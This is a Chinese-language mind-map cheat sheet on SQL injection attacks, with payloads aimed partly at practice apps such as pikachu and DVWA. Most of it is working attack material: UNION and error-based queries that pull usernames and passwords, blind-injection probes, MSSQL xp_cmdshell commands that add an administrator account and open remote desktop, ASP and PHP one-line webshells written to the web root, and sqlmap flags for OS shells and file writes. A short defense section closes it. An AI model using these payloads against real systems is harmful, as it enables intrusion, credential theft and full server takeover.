SQL 注入
2021-11-26 23:15:27 1 举报
AI智能生成
常见SQL 注入流程
作者其他创作
大纲/内容
<b><font color="#ff0000">注入攻击原理</font></b>
<b><font color="#000000"><u>注入产生的原因是接受了相关参数未经处理直接带入数据库查询操作;注入攻击属于服务注入漏洞的检测方式,它与操作系统,数据库类型,脚本语言无关。和人有关</u></font></b>
<b>注入漏洞的检测方式</b>
<b>单引号’ 或 and 1=1 和 1=2</b>
<b><font color="#ff0000">如何查找注入点</font></b>
<b>与数据库交互的相关界面</b>
<b>http://www.***.com/888.asp?id=xx (ASP注入)</b>
<b>http://www.***.com/888.php?id=xx (PHP注入)</b>
<b>http://www.***.com/888.jsp?id=xx (JSP注入)</b>
<b>http://www.*****.com/***.aspx?id=xx (aspx注入)</b>
<b>登录界面;更新信息界面;注册界面;留言板 查询 删除等</b>
<b>http header 注入</b>
<b>把http header 直接代入数据库</b>
<b>cookie 注入</b>
<b>数据参数写入到cookice参数里面</b>
<b>可能出现的地方</b>
<b>http头 ;cookices;referee;user agent;post 提交数据包的地方</b>
<b><font color="#ff0000">注入类型</font></b>
<b>数字型(post)</b>
<b>ID 参数为数字</b>
or 1=1
<b>字符型(get)</b>
<b>ID 参数为字母</b>
ASP的万能密码是'or'='or'
PHP的万能密码是'or 1=1#*
<b>搜索型</b>
<b>带百分号select *from 表名 where 字段名 like '%(对应值)%‘ 例:mysql> select * from member where username like‘%vince%' or 1=1 #%;</b>
<b>xx型</b>
<b>由于SQL 语句拼接方式不同 产生的 :username = ('xx') or 1=1#;</b>
<b><font color="#ff0000">注入提交方式</font></b>
<b><font color="#ff0000">get 提交</font></b>
<b><u>地址栏可以看见参数</u></b>
<b><font color="#ff0000">post 提交</font></b>
<b>通过burp抓包</b>
<b><font color="#ff0000">cookie 提交</font></b>
<b>当打开GET或者POST界面时,发现有注入防范,通过burp抓包,可以把GET或者POST参数写入到COOKIE里面进行注入,(前提是接受用户参数的地方是Request,并未对COOKIE进行防范)</b>
通过burp抓包
通过burp抓包
通过burp抓包
<b>HTTP head 头 提交</b>
<b>user-agent / xss / referer / IP {<font color="#ff0000"> </font><font color="#0000ff">User-Agent :payload Mozilla'</font><font color="#ff0000"> or updatexml(1,concat(0x7e,database ()),0) or '}</font></b>
<b>伪静态注入</b>
<b>中间件加载了伪静态插件代码。其实不是真正的静态页面。</b>
<b><font color="#ff0000">注入攻击支持类型</font></b>
<font color="#ff0000"><b>union 注入(联合查询)</b></font>
(union操作符一般与<b><font color="#ff0000">order by </font></b>语句配合使用)
<font color="#ff0000"><b>a' union select database(),user(),version()#%</b></font>
<b>information _ schema 注入 (<font color="#ff0000">只支持MySQL 数据库 系统大于5.0</font>)</b>
能快速查询出所有数据库内容, 一般会配合联合查询, 不单独使用
1:获取数据库表名 <font color="#ff0000">u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#</font>
2:获取数据库字段名 pikachu数据库的字段名,输入:<font color="#ff0000"> k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%</font>
3:最后获取字段值的内容,输入 <font color="#ff0000">kobe'union select username ,password,3 from users#%</font>
<b><font color="#ff0000">基于函数报错注入</font>( <font color="#ff0000">因后台没有屏蔽数据库报错信息, 在语法发生错误时 会输出在前端 )</font>在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息</b>
<b><font color="#ff0000">updatexml 注入 (是MySQL对XML 文档数据进行查询和修改的XPATH函数)</font></b>
荷载注入
爆数据库版本信息
<font color="#ff0000">k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #</font>
爆数据库当前用户
<font color="#ff0000">k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#</font>
爆数据库
<font color="#ff0000">k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #</font>
爆表
获取数据库表名,输入:<font color="#ff0000">k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,</font>但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
输入<font color="#ff0000">k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#</font>更改limit后面的数字<font color="#ff0000">limit 0</font>完成表名遍历
爆字段
获取字段名,输入:<font color="#ff0000">k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#</font>
爆字段内容
获取字段内容,输入:<font color="#ff0000">k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#</font>
insert (插入)注入
爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同<br>' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''<br>
' or updatexml(0,concat(0x7e,(database())),0) or'
delete (删除)注入 一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入
delete from message where id=56 <font color="#ff0000">or updatexml(2,concat(0x7e,(database())),0)</font>
<font color="#ff0000"><b>extractvalue 注入 (是MySQL对XML 文档数据进行查询的XPATH函数)</b></font>
floor 注入 (MySQL 中用来取整的函数)
<b>盲注</b>
基于<font color="#ff0000">boolian布尔型</font>SQL 盲注
输入语句<font color="#ff0000">,</font>通过对比ascii码的长度,判断出数据库表名的第一个字符。
<font color="#ff0000">select ascii(substr(database(),1,1))>xx;</font>
基于<font color="#ff0000">base on time时间型</font>SQL 盲注
基于堆叠型 WAITFOR DELAY '0:0:5'--
<font color="#ff0000">vince' and sleep (x) #</font>
基于时间的延迟,构造一个拼接语句:<font color="#ff0000"> vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#,</font>输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误,输入:<font color="#ff0000">vince' and if(substr(database(),1,1)='p',sleep(10),null)#</font>,再web控制台下,判断出database的表名的一个字符为p。
基于报错型SQL 盲注
子主题
<b>宽字节注入</b>当我们把php.ini文件里面的<font color="#ff0000">magic_quotes_gqc</font>参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。
跟GBK 字体有关,<font color="#ff0000"> %df' or 1=1</font><font color="#000000"> 注意二次转义</font>
<b>数据库手工注入流程</b>
<b>Access 数据库 </b>
猜测数据库表名
<font color="#000000">手工猜测</font><font color="#ff0000"> </font><font color="#000000"><b>and exists (select * from users) /</b></font><font color="#ff0000"> </font><font color="#000000">工具</font><font color="#ff0000"> pangolin 穿山甲</font>
猜测数据库字段名
手工猜测 <font color="#000000"><b> and exists (select password from administrator)</b></font>
猜测数据库字段内容
手工使用ASCll 码查询
SQL 注入中的高级查询
<font color="#ff0000">order by</font>
<font color="#ff0000">union select 1,2,3,4,5,6,7,8 from</font>
偏移注入
子主题
跨库查询
子主题
<b>Mssql数据库</b>
一:检查是否是MySQL数据库
<font color="#ff0000"><b>and exists (select * from sysobjects)</b></font><br>页面返回正常,则说明为MsSQL注入点<br>
二:查询当前数据库库名
<font color="#ff0000"><b>and system_user=0</b></font>
三: 检查注入点权限<font color="#ff0000"><b>and 1=(select IS_SRVROLEMEMBER('sysadmin')) / and 1=(select is_srvrolemember('db_owner')) /and 1=(select is_srvrolemember('public'))</b></font>
<font color="#ff0000"><b>①SA 最高权限</b></font>
<b>四:判断一下xp_cmdshell(<font color="#ff0000">执行操作系统命令</font>)储存过程是否存在</b>
<b style=""><font color="#ff0000"> </font><font color="#000000">MySQL数据库2000年之前的版本默认打开,2000之后版本被禁用</font></b><font color="#ff0000"><b>and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')</b></font>
<b>恢复 xp_cmdshell 可用</b> <font color="#ff0000"><b>;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure ' xp_cmdshell', 1;RECONFIGURE;--</b></font>
<b>恢复 xp_regwrite 可用 </b><font color="#ff0000"><b>;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure ' xp_regwrite', 1;RECONFIGURE;--</b></font>
<font color="#000000"><b>五:添加账号</b></font>
<b>创建账号<font color="#ff0000">;exec master..xp_cmdshell 'net user test/add'</font></b>
<b>添加管理员组 <font color="#ff0000">exec master..xp_cmdshell 'net locaigroup administrators test/add'</font></b>
<font color="#ff0000"><b>查看 net user test</b></font>
<b>六:打开3389端口 支持远程桌面连接</b>
<b style=""><font color="#000000">操作注册表</font><font color="#ff0000"> ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;</font></b>
<b><font color="#ff0000">②dbowner </font></b>
<b>四:找出网站路径</b>
1:通过 报错信息 或者baidu google 曾经报错信息 威胁情报等信息查找
2:通过相关语句查询
<b><font color="#000000">删除不存在的表 再创建一个 </font></b><font color="#ff0000"> <b>;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--</b></font>
<b>查找数据并插入到数据库表中 <font color="#ff0000">;insert into black exec master..xp_cmdshell 'dir /s c: \1.aspx '--</font></b>
<b>查询id=1的结果 <font color="#ff0000">and (select result from black where id=1)>0--</font></b>
<b>五:注入反向木马webshell</b>
master..xp_cmd(使用菜刀)
<b>插入一句话木马 <font color="#ff0000"> </font><font color="#000000">%20;exec%20master..xp_cmdshell%20'Echo%20"</font><font color="#ff0000"><%eval%20request("chopper")%>"</font><font color="#000000">%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--</font></b>
差异备份(使用 Getwebshell)
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
<b><font color="#ff0000">③public</font></b>
四:获取当前数据库名称:
<font color="#ff0000">and db_name()=0--</font>
五:获取Mssql所有数据库名和路径:
%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
六:获取当前数据库所有表名:
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
七:爆破表明及字段名:
having 1=1--
group by <font color="#ff0000">admin</font>.id having 1=1--
group by <font color="#ff0000">admin</font>.id,admin.<font color="#ff0000">name</font> having 1=1--
八:获取字段内容:
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([<font color="#ff0000">name</font>]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([<font color="#ff0000">password</font>]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[<font color="#ff0000">admin</font>]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[<font color="#ff0000">admin</font>]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
<b>Mysql 数据库 </b>
<font color="#ff0000"><b>版本区别</b></font>
mysql <font color="#ff0000"><b>4 </b></font>版本及以下
MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似<font color="#ff0000"><b>Access</b></font>的方法进行查询猜解。<br>首先,利用<b><font color="#ff0000">order by</font></b>获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用<font color="#ff0000"><b>union select</b>联合查询</font>数据库时,由于不知道数据库中的表名与字段名,因此只能像<font color="#ff0000"><b>Access</b></font>一样直接用常见表名和字段名进行猜测判断。<br>
mysql <font color="#ff0000"><b>5 </b></font>版本及以上
<b><font color="#ff0000">MySQL 5</font></b>版本由于<font color="#ff0000"><b>information_schema</b></font>库的存在,注入攻击相对来说方便了许多<br>通过<font color="#ff0000"><b>load_file()</b></font>函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。<br>通过<font color="#ff0000"><b>dumpfile/outfile</b></font>函数导出获取<b><font color="#ff0000">WebShell</font></b>。
<b><font color="#ff0000">mysql用户密码储存位置</font></b>
数据库最高权限用户是<b><font color="#ff0000">root </font></b>密码保存在<font color="#ff0000"><b>mysql</b></font>数据库的<b><font color="#ff0000">user</font></b>表中,密码是采用<font color="#ff0000"><b>mysql5</b></font>特有的加密,通过<b><font color="#ff0000">cmd5</font></b>网站进行解密或通过<b><font color="#ff0000">cain</font></b>等这类专业可以对<b><font color="#ff0000">mysql hash</font></b>破解.所以对数据库做安全的时候无论如何不能给网站<font color="#ff0000"><b>root </b></font>权限,一定要给一个普通用户权限。
<b>mysql注入流程</b>
一:检查注入点' 与 <b><font color="#ff0000">and 1=1</font> / and 1=2</b>
二:<b> order by 1,2--+&Submit=Submit#</b>
三:<b>union select <font color="#ff0000">user()</font>,<font color="#00bcd4">version()</font>--+&Submit=Submit#</b> <b> <font color="#ff0000">查看数据库用户名和版本、库名(dvwa)</font></b>
四:<b>'union select 1,group_concat(<font color="#000000">schema_name</font>) from information_schema.schemata+--+&Submit=Submit </b> 获取mysql所有库
五:<b>union select 1,group_concat(<font color="#000000">table_name</font>) from information_schema.tables where table_schema=database()+--+&Submit=Submit </b> <b><font color="#ff0000">获取dwva表名</font></b><br>guestbook,users
六:<b>union select 1,group_concat(<font color="#000000">column_name</font>) from information_schema.columns where table_name=<font color="#ff0000">0x7573657273</font>+--+&Submit=Submit </b> <font color="#ff0000"><b>获取所有user表里面的字段</b></font><br><b>table_name=0x7573657273 不转成十六进制也可以table_name="users"</b>
<b>七:union select 1,group_concat(<font color="#2196f3">user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c</font>) from<font color="#ff0000"> users</font>+--+&Submit=Submit 获取所有字段内容 <font color="#ff0000">0x7c =|</font></b><br>
<font color="#ff0000" style=""><b>八:对服务器文件进行读写操作(前提条件)</b></font>
<b>1:需要知道web站点 远程目录</b>
<b>获取web路径的方法</b>
%27%20union%20select%201,load_file(<font color="#ff0000">0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C</font>)+--+&Submit=Submit 路径记得转化为十六进制
<font color="#ff0000"><b>常见WINDOWS下配置文件:</b></font><br><b>c:/windows/</b><font color="#ff0000" style="font-weight: bold;">php.ini </font><b>//php配置信息</b><br><b>c:/windows/</b><font color="#ff0000" style="font-weight: bold;">my.ini</font><b> //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码</b><br><b>c:\mysql\data\</b><font color="#000000" style="font-weight: bold;">mysql</font><b>\user.MYD //存储了mysql.user表中的数据库连接密码</b><br><b>c:\windows\system32\inetsrv\</b><font color="#ff0000" style="font-weight: bold;">MetaBase.xml</font><b> 查看IIS的虚拟主机配置</b><br><b>d:\APACHE\Apache2\conf\</b><font color="#ff0000" style="font-weight: bold;">httpd.conf</font><br><b>c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码</b>
<b><font color="#ff0000">LUNIX/UNIX 下:</font></b><br>/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件<br>/usr/local/apache2/conf/httpd.conf<br>/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置<br>/usr/local/app/php5/lib/<font color="#ff0000">php.ini </font>//PHP相关设置<br>/etc/sysconfig/iptables //从中得到防火墙规则策略<br>/etc/httpd/conf/<font color="#ff0000">httpd.conf </font>// apache配置文件<br>/etc/<font color="#ff0000">rsyncd.conf</font> //同步程序配置文件<br>/etc/<font color="#ff0000">my.cnf </font>//mysql的配置文件<br>/etc/redhat-release //系统版本<br>/usr/local/resin-3.0.22/conf/<font color="#ff0000">resin.conf </font>针对3.0.22的RESIN配置文件查看
<b>2:需要<font color="#ff0000">mysql root </font>权限</b>
<b>3:需要远程目录有写权限</b>
<font color="#ff0000" style=""><b>4:需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改php.ini配置文件)</b></font>
十:写webshell获取权限
union select "<font color="#ff0000"><b><?php @eval($_POST['123']);?></b></font>",2 into outfile "<font color="#ff0000"><b>c:\\php\\htdocs\\123.php</b></font>"+--+&Submit=Submit
<b><font color="#ff0000">sqlmap工具</font></b>
<font color="#ff0000"><b>-r</b></font>
指定参数post注入 <b style=""><font color="#ff0000">sqlmap.py -r post.txt </font><font color="#000000">-p</font></b> 注入参数
<b><font color="#ff0000">-u</font></b>
get注入 <font color="#ff0000"><b>sqlmap.py -r </b></font>
<b style=""><font color="#ff0000">–-level= 3 </font><font color="#000000">(LEVEL)</font></b>
执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
<b style=""><font color="#ff0000">--risk=3 </font><font color="#000000">(RISK)</font></b>
执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
<font color="#ff0000"><b>-v</b></font>
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
<b><font color="#ff0000">-p</font></b>
-p 后面接参数,针对单个参数注入<b> id=1 -p</b>
<b>-threads</b>
线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
<b style=""><font color="#000000">-batch-smart</font></b>
智能判断测试
--mobile
模拟测试手机环境站点
<b><font color="#ff0000">-m</font></b>
批量注入
<font color="#ff0000"><b>注入获取数据命令</b></font>
<font color="#ff0000">--dbs</font> //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2<br><font color="#ff0000">--current-user</font>:大多数数据库中可检测到数据库管理系统当前用户<br>--current-db:当前连接数据库名<br>--is-dba:判断当前的用户是否为管理<br>--users:列出数据库所有所有用户
获取表名
--tables -D 数据库名
字段名
--columns -T <font color="#0000ff"><b>user -D abc</b></font>
<font color="#ff0000"><b>数据内容</b></font>
-T user -C <font color="#0000ff"><b>username,password,email</b></font> --dump
<font color="#ff0000">读文件内容</font>
--file-read /etc/password
系统交互的shell
--os-shell
写webshell
--file-write "c:/3.txt” --file-dest “C:/phpStudy/WWW/3.php” -v1 /*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/
<font color="#ff0000"><b>sqlmap绕过waf(网络应用防火墙)通过python 脚本</b></font>
--tamper ""
<b><font color="#ff0000">注入 防御</font></b>
<b><font color="#ff0000">代码层面</font></b>
<b>开启函数过滤</b>
<b>直接下载相关防范注入文件,通过incloudbaoh包含放在网站的配置文件中</b>
<font color="#ff0000" style=""><b>PDO 预处理:http://www.php.cn/course/868.html</b></font>
<b>网络层面</b>
通过WAF设备启用防止SQL 注入策略
云端防护 阿里云盾 / 360网站卫士
0 条评论
下一页